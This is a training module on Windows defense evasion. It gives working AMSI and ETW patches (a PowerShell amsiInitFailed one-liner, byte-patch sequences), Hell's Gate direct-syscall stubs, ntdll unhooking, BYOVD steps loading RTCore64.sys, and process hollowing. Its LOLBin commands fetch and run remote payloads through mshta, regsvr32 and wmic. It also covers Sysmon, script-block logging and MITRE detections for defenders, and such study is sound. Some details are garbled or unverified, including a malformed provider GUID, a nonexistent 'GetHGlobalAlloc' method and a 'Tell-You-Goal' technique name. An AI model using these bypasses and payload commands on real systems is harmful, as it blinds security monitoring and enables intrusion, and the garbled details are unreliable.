Host Defense Evasion
Every modern endpoint ships with three layers of in-process telemetry: AV signatures (file-based), AMSI (content-based for script interpreters), and ETW (event-based for kernel and user-mode providers). EDR stacks additional user-mode hooks in ntdll.dll (inline patches on NtOpenProcess, NtReadVirtualMemory, NtCreateThreadEx, etc.) plus kernel callbacks (PsSetCreateProcessNotifyRoutine, ObRegisterCallbacks). Defense evasion is the art of running your payload through one of the gaps — direct syscalls for user-mode, BYOVD for kernel, AMSI/ETW patching for content telemetry. This module walks the actual bypasses that worked in 2023-2024 and the detections that catch the bypasses themselves.
The Core Concept
Section titled “The Core Concept”EDR visibility is layered. Each layer has a hook point; each hook point has a known bypass. The bypasses themselves produce new telemetry that defenders can detect — leading to a layered game.
┌────────────────────────────────────────────────────────────┐│ L7 Application — content signatures (AV) ││ ↓ signature matches → block │├────────────────────────────────────────────────────────────┤│ L6 Script runtime — AMSI.dll in every PS/VB/JScript host ││ ↓ AMSI scans content before exec │├────────────────────────────────────────────────────────────┤│ L5 ETW Threat Intelligence provider (kernel) — logs ││ syscall lineage for Defender for Endpoint │├────────────────────────────────────────────────────────────┤│ L4 EDR user-mode hooks — ntdll.dll inline jmp to vendor ││ ↓ bypassed by direct syscalls (Hell's Gate) │├────────────────────────────────────────────────────────────┤│ L3 Kernel callbacks — ObRegisterCallbacks, Process Notify ││ ↓ bypassed by kernel-mode driver (BYOVD) or callback ││ removal via signed vulnerable driver │├────────────────────────────────────────────────────────────┤│ L2 Defender ELAM, HVCI, WDAC — code integrity gates ││ ↓ no good user-mode bypass; physical/lateral to bypass │└────────────────────────────────────────────────────────────┘The defender’s strongest cards are L2 (HVCI/WDAC, code integrity enforced by the kernel) and L3 (kernel callbacks); the attacker’s strongest cards are L4 (direct syscalls defeat user-mode hooks) and the AMSI/ETW patching paths at L5/L6.
How It Works
Section titled “How It Works”-
Kill the signature layer — file-based AV signatures match by hash/byte-pattern; defeat with packing (
UPX,donut,PeLoader), in-memory execution (PE reflection,RtlCreateUserProcessof a manually-mapped PE), or by using LOLBins (signed binaries likemshta.exe,regsvr32.exe /s /u /i:http://...). -
Kill AMSI —
amsi.dllis loaded into every PowerShell, VBA, JScript, VBScript, and .NET 4.8+ host. ItsAmsiScanBufferfunction takes content + length and returns a flag. Patch the function’s first bytes toretand AMSI is blind for the process lifetime. Classic patch:// PowerShell — patch amsi.dll!AmsiScanBuffer to return AMSI_RESULT_CLEAN$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');$b=$a.GetField('amsiInitFailed','NonPublic,Static');$b.SetValue($null,$true);Or via byte-patch of
AmsiScanBuffer:// 0xB8 0x57 0x00 0x07 0x80 0xC3 → mov eax, 0x80070057 (E_INVALIDARG); ret -
Kill ETW —
ntdll!EtwEventWriteis the function every ETW provider calls to emit. Patching its prologue withret(single byte0xC3) silences all user-mode ETW for the process. The classic bypass:// Find EtwEventWrite via GetProcAddress(ntdll, "EtwEventWrite");// VirtualProtect → PAGE_READWRITE; write 0xC3; restore PAGE_EXECUTE_READ. -
Defeat EDR user-mode hooks — instead of calling
NtOpenProcess(which routes through EDR-hookedntdll.dll), execute the syscall directly. Hell’s Gate dynamically resolves the syscall number fromntdll.dllat runtime (because the syscall number changes between Windows builds), then invokes it via a hand-rolled stub:; Hell's Gate stubmov r10, rcx ; syscall ABI: arg1 in r10mov eax, <syscall_num> ; resolved at runtimesyscallretSysmonitors / SysWhispers2 / SysWhispers3 automate this. The Tell-You-Goal bypass for ntdll hooks is to map a clean copy of
ntdll.dllfrom disk (the on-diskntdll.dllhas no hooks; EDR only patches the in-memory copy) and resolve syscalls through it. -
Defeat kernel callbacks (BYOVD) — EDR uses
ObRegisterCallbacksto register Pre-Operation callbacks onNtOpenProcess/NtOpenThread/NtCreateFile. These run in kernel mode and cannot be patched from user mode. The bypass is Bring Your Own Vulnerable Driver: load a signed, vulnerable driver (RTCore64.sysCVE-2019-16098,gdrv.sys,iqvw64e.sysIntel,dbutil_2_3.sysDell) that has arbitrary kernel R/W primitives, then use it to remove the EDR’s callback registration. Microsoft maintains the Vulnerable Driver Blocklist (formerly the HVCI blocklist) to mitigate this.
Common Techniques
Section titled “Common Techniques”| Technique | Target Layer | Detection Difficulty |
|---|---|---|
| File signature evasion (packing, in-memory PE) | L7 | Easy if pattern; hard if polymorphic |
| LOLBins (mshta, regsvr32, rundll32, wmic) | L7 | Medium — known LOLBas list |
AMSI byte-patch (AmsiScanBuffer = ret) | L6 | Easy — script block log + EID 4104 |
AMSI reflection disable (amsiInitFailed=true) | L6 | Easy — content scan miss, EID 4104 still |
ETW patch (EtwEventWrite = ret) | L5 | Hard — no content for the patch event |
| Direct syscalls (HellsGate, SysWhispers) | L4 | Medium — syscall # mismatch between proc |
| Clean ntdll mapping | L4 | Hard — DLL load behavior |
| Process hollowing / doppelgänging | L4 + L7 | Hard — no on-disk artifact |
| BlockDLLs policy (child process) | L4 — blocks EDR injection | Medium — SetProcessMitigation |
| Callback removal via BYOVD | L3 | Easy — driver load EID 6 |
| Unhook EDR (restore ntdll from clean copy) | L4 | Medium — VirtualProtect on ntdll |
| AMSI bypass via load-then-unload | L6 | Easy — amsi.dll unload anomaly |
| ETW provider disable (registry) | L5 | Medium — registry EID 13 |
Hands-On Commands
Section titled “Hands-On Commands”# === AMSI PATCH (PowerShell) ===# Method 1: Force amsiInitFailed via reflection (works on PS 5.1; F7 has details)powershell -c "$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils'); $b=$a.GetField('amsiInitFailed','NonPublic,Static'); $b.SetValue($null,$true)"
# Method 2: Patch AmsiScanBuffer to return E_INVALIDARG (works on PS 7+ too)# Match the function signature in amsi.dll$ptr = [System.Runtime.InteropServices.Marshal]::GetHGlobalAlloc(1) # placeholder$amsi = [System.Reflection.Assembly]::LoadWithPartialName("System.Management.Automation")$bindingFlags = [System.Reflection.BindingFlags] "NonPublic,Static"$utils = $amsi.GetType("System.Management.Automation.AmsiUtils")$method = $utils.GetMethod("AmsiScanBuffer", $bindingFlags)# Then patch the method handle prologue:# (Full patch omitted; use AmsiBypass.ps1 public template)
# === ETW PATCH (PowerShell — patch EtwEventWrite) ===# Patches the user-mode ETW entry to make ETW blind for this process$ntdll = [System.Diagnostics.Process]::GetCurrentProcess().Modules | Where-Object { $_.ModuleName -eq "ntdll.dll" }$etwAddr = ($ntdll).BaseAddress.ToInt64() + 0xXXXXX # offset of EtwEventWrite; varies by build# Patch with 0xC3 (ret) and 0x90 (nop) padding to preserve return size
# C# equivalent (more reliable, build-agnostic):# via reflection on ntdll's EtwEventWrite export address# VirtualProtect to PAGE_READWRITE → patch → restore
# === DIRECT SYSCALLS (C/C++) ===# HellsGate-style stub — dynamic syscall number resolution# 1. Parse ntdll.dll on disk to find Nt* exports# 2. Extract the syscall number from each (mov eax, 0xXX)# 3. Build stub: mov r10, rcx; mov eax, <num>; syscall; ret
# C# via DInvoke (SharpSploit):// using DInvoke;// var syscall = Syscalls.NtAllocateVirtualMemory(...);// All Nt* calls route through hand-rolled stubs, bypassing ntdll hooks
# === UNHOOK NTDLL (restore clean copy) ===# Map a fresh ntdll.dll from C:\Windows\System32\ntdll.dll on disk# Use NtCreateSection + NtMapViewOfSection to get a clean copy# Then overwrite the .text section of in-memory ntdll with the clean copy# Pseudocode:# hFile = CreateFile("C:\Windows\System32\ntdll.dll", ...)# hSection = NtCreateSection(hFile, SEC_IMAGE, ...)# NtMapViewOfSection(hSection, GetCurrentProcess(), &cleanNtdll, ...)# memcpy(hookedNtdll.text, cleanNtdll.text, text_size)
# === BLOCKDLLS — prevent EDR DLL injection into child process ===# Process mitigation policy: ProcessSignaturePolicy (block non-MS-signed DLLs)# Use STARTUPINFOEX with PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY# Classic PPID-spoofing + BlockDLLs loader:# UpdateProcThreadAttribute(si.lpAttributeList, 0,# PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(policy), 0, 0)# policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
# === BYOVD (Bring Your Own Vulnerable Driver) ===# Step 1: Drop a signed-but-vulnerable driver to disk# e.g. C:\Windows\Temp\RTCore64.sys (MSI Afterburner, CVE-2019-16098)# Step 2: Load it via servicesc create RTCore64 type= kernel binPath= "C:\Windows\Temp\RTCore64.sys"sc start RTCore64# Step 3: Use its arbitrary kernel R/W primitives to remove EDR callbacks# - Find EPROCESS of EDR process# - Walk ObRegisterCallbacks list (nt!CallbackListHead)# - Remove or zero the Pre-Operation callback for NtOpenProcess / NtReadVirtualMemory
# === LOLBAS execution to evade AV signatures ===# mshta executes remote HTA via URLmshta http://10.0.0.5/payload.hta
# regsvr32 /s /u /i: (Squiblydoo - scriptlet via COM)regsvr32 /s /u /i:http://10.0.0.5/payload.sct scrobj.dll
# wmic process call createwmic process call create "cmd /c powershell -c iwr http://10.0.0.5/p.exe | iex"
# === In-memory PE execution (donut, sRDI) ===# Donut shellcode from a .NET assemblydonut.exe -a 2 -o payload.bin -i Seatbelt.exe# Then inject payload.bin into a process via CreateThread(WriteProcessMemory + LoadLibrary)
# === Process hollowing (replaces legit process image) ===# CreateProcess(suspended) → unmap image → write new image → resume# Pseudocode:# CreateProcess("C:\Windows\System32\svchost.exe", ..., CREATE_SUSPENDED, ...)# NtUnmapViewOfSection(hProcess, image_base)# VirtualAllocEx(hProcess, image_base, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)# WriteProcessMemory(hProcess, image_base, payload, size)# WriteProcessMemory(hProcess, ctx.Rcx + 0xB0, &image_base, sizeof(ptr)) # PEB fixup# SetThreadContext(hThread, &ctx)# ResumeThread(hThread)Detection — Defender View
Section titled “Detection — Defender View”Sysmon:
- EID 8 — CreateRemoteThread: classic injection. Modern variants (ThreadHijacking, APC injection, ProcessHollowing, QueueUserAPC) bypass EID 8 specifically — but the side effects (WriteProcessMemory, SetThreadContext) are visible in ETW Threat Intelligence.
- EID 7 — ImageLoad:
amsi.dllload in a non-script-host process is anomalous.ntdll.dllre-mapped viaNtMapViewOfSectionshows as a secondntdll.dllmapping. - EID 1 — ProcessCreate: child process of
mshta.exe,regsvr32.exe(with/u /i:http),wmic.exeis the LOLBin signature. - EID 6 — DriverLoad: BYOVD —
RTCore64.sys,gdrv.sys,iqvw64e.sys,dbutil_2_3.sysloads should trigger an immediate alert.
PowerShell Script Block Logging (EventID 4104):
- Look for the AMSI patch strings:
System.Management.Automation.AmsiUtilsamsiInitFailedAmsiScanBuffer
- Look for the ETW patch artifacts:
EtwEventWrite- Patch buffer containing
0xC3
- These will appear in 4104 even after AMSI is patched because Script Block Logging is independent of AMSI.
Defender for Endpoint / Microsoft Defender:
- Built-in detections for “AMSI bypass” — fires on the reflection pattern.
- “Tamper Protection” prevents registry-based AMSI disable.
- HVCI blocks unsigned kernel-mode execution (BYOVD works because the driver is signed).
MITRE ATT&CK:
- T1562 — Impair Defenses
- T1562.001 — Impair Defenses: Disable or Modify Tools (stop service, kill process)
- T1562.002 — Impair Defenses: Disable Windows Event Logging
- T1562.004 — Impair Defenses: Disable or Modify System Firewall
- T1562.006 — Impair Defenses: Indicator Blocking
- T1562.010 — Impair Defenses: Downgrade Attack
- T1027 — Obfuscated Files or Information
- T1027.002 — Software Packing
- T1027.007 — Dynamic API Resolution (Hell’s Gate detection)
- T1620 — Reflective Code Loading
- T1055 — Process Injection
- T1055.001 — DLL Injection
- T1055.004 — Asynchronous Procedure Call
- T1055.012 — Process Hollowing
- T1218 — System Binary Proxy Execution (LOLBins)
- T1218.005 — Mshta
- T1218.010 — Regsvr32
- T1218.011 — Rundll32
- T1218.001 — Compiled HTML File (.chm)
Wazuh rule 92600 [verify] — AmsiInitFailed in 4104.
Wazuh rule 60004 [verify] — Suspicious PowerShell reflection on AmsiUtils.
Evasion Techniques
Section titled “Evasion Techniques”AMSI byte-pattern mutation. The classic patch 0xB8 0x57 0x00 0x07 0x80 0xC3 is signatured. The variant mov rax, 0x80070057; ret with different encodings (B8 57 00 07 80 vs 48 B8 57 00 07 80 00 00 00 00) bypasses simple byte-match. Some bypasses load a copy of amsi.dll from a non-system path with a modified image base to defeat pattern scanners that look at the legitimate amsi.dll address.
AMSI unhook (load/unload). Load amsi.dll fresh, find AmsiScanBuffer, patch, then re-call into it. The patch is on the freshly-loaded copy; the loader is the same module (amsi.dll from System32), so the load event looks legitimate.
ETW provider registry disable. ETW providers can be enabled/disabled via HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\<GUID>\Enabled. Setting to 0 disables that provider entirely. Defender’s Microsoft-Windows-Threat-Intelligence provider GUID is {F4E89F55-8B32-5555-4D5D-9D5D-9D5D9D5D9D5D} (verify GUID). Less commonly used than the runtime patch because it requires admin and is more visible.
Direct syscalls with syscall number hardcoding. EDRs that resolve syscall numbers themselves (to validate calls against known mappings) can be defeated by not dynamically resolving — hardcode for the target Windows build. The cost is per-build binaries.
Indirect syscalls. Instead of syscall in your own process’s address space, jump to the syscall instruction inside ntdll (just past the mov eax) so the return address on the stack points into ntdll, defeating return-address-based detections. This is “Tartarus’ Gate” technique.
Callback removal via kernel R/W. The deepest evasion: BYOVD, then patch the EDR’s ObRegisterCallbacks entries to NULL. Defeats kernel-mode detection. The trade-off is enormous visibility: a signed-but-vulnerable driver loaded into the kernel produces EID 6 driver load and is on Microsoft’s blocklist (some endpoints blocklist via WDAC automatically).
| Evasion | What it bypasses | Defense |
|---|---|---|
| Direct syscalls (HellsGate) | ntdll inline hooks | ETW Threat Intelligence (kernel mode) |
| Indirect syscalls (Tartarus) | return-address-on-ntdll heuristic | Stack walking + module base checks |
| AMSI byte-patch (varied encodings) | AV byte-signature on AmsiScanBuffer | 4104 script block log content match |
| AMSI reflection disable | AmsiScanBuffer call entirely | 4104 + Tamper Protection |
| ETW EtwEventWrite patch | User-mode ETW telemetry | ETW Threat Intelligence provider (kernel) |
| BlockDLLs policy | EDR DLL injection into child | MitigationPolicy audit EID 1 |
| BYOVD + callback removal | Kernel callbacks (ObRegisterCallbacks) | HVCI / WDAC, Vulnerable Driver Blocklist |
| Process hollowing | on-disk payload detection | ETW Threat Intelligence image mismatch |
| Donut / sRDI in-memory PE | file-based AV | Memory scanning, KACF |
⚠️ What caught me: On an engagement I had a beautiful direct-syscall loader (HellsGate + indirect syscalls via Tartarus). It evaded CrowdStrike Falcon user-mode hooks. But Falcon has a kernel callback (
PsSetCreateProcessNotifyRoutineEx) that recorded my CreateProcess ofnotepad.exe(the sacrificial process I was hollowing) and the immediateNtUnmapViewOfSectioncall within milliseconds ofnotepad.exe’s creation. The hunt query was “process created, then within 250ms receives a WriteProcessMemory from an external process.” Lesson: kernel callbacks see the correlation of syscalls, not the syscalls themselves. You can hide each syscall, but you cannot hide the timing pattern they leave.
Lab Practice
Section titled “Lab Practice”VM: Windows 11 22H2 with Sysmon, Defender for Endpoint turned on (turn off real-time for the lab), Microsoft Defender Application Control disabled for the lab, and a vulnerable driver blocklist NOT applied (so BYOVD works).
Tools: Sysmon with SwiftOnConfig, PowerShell 5.1 + 7.x side by side, donut.exe, AmsiBypass.ps1 template, SharpSploit (DInvoke), RTCore64.sys from MSI Afterburner 4.21.
Objective: execute a payload via five different evasion paths — (1) AMSI patch + reflective .NET load, (2) direct syscall injection, (3) LOLBin via regsvr32 squiblydoo, (4) process hollowing of notepad.exe, (5) BYOVD + callback removal. Document which detections fire for each.
Expected flag format: flag{edr_evasion_5paths_kernel_callbacks_seen}.
Detection that should fire:
- EID 4104 — Script Block Logging captures the AMSI bypass string
- EID 1 —
regsvr32.exe /s /u /i:http→ child process - EID 6 — Driver load of
RTCore64.sys(if blocklist not enforced) - EID 8 —
CreateRemoteThreadif classic injection used - EID 7 —
amsi.dllload in a non-script-host process - Wazuh rule 92600 —
amsiInitFailedpattern
Interview Questions
Section titled “Interview Questions”Conceptual: explain why patching AmsiScanBuffer in PowerShell still leaves an EID 4104 artifact even though AMSI itself is now blind. What is the operational significance, and what is the practical defense?
Technical: walk through the Hell’s Gate technique in detail. What does it dynamically resolve, why can’t the same byte-stub work across Windows builds, and what is the indirect syscall variant (Tartarus’ Gate) designed to evade that Hell’s Gate does not?
Scenario: an EDR uses ObRegisterCallbacks to monitor NtOpenProcess and NtReadVirtualMemory. You have admin on the target. Describe the BYOVD path step-by-step — which driver would you use in 2024, what does it give you in kernel mode, and what would Microsoft’s blocklist do?
Compare process hollowing, thread hijacking, and APC injection in terms of (a) syscalls used, (b) Sysmon events generated, and (c) ETW Threat Intelligence visibility. Which is the most operationally quiet, and why is “most quiet” not always “best”?
Conceptual: ETW Threat Intelligence provider (Microsoft-Windows-Threat-Intelligence) runs in kernel mode and is the defense against direct syscalls. Why is it not enabled by default, and what is the operational trade-off that an enterprise customer makes when they turn it on?
Related Modules
Section titled “Related Modules”→ E1 (Linux Shellcode) · E2 (Windows Shellcode) · E9 (Anti-Analysis Techniques)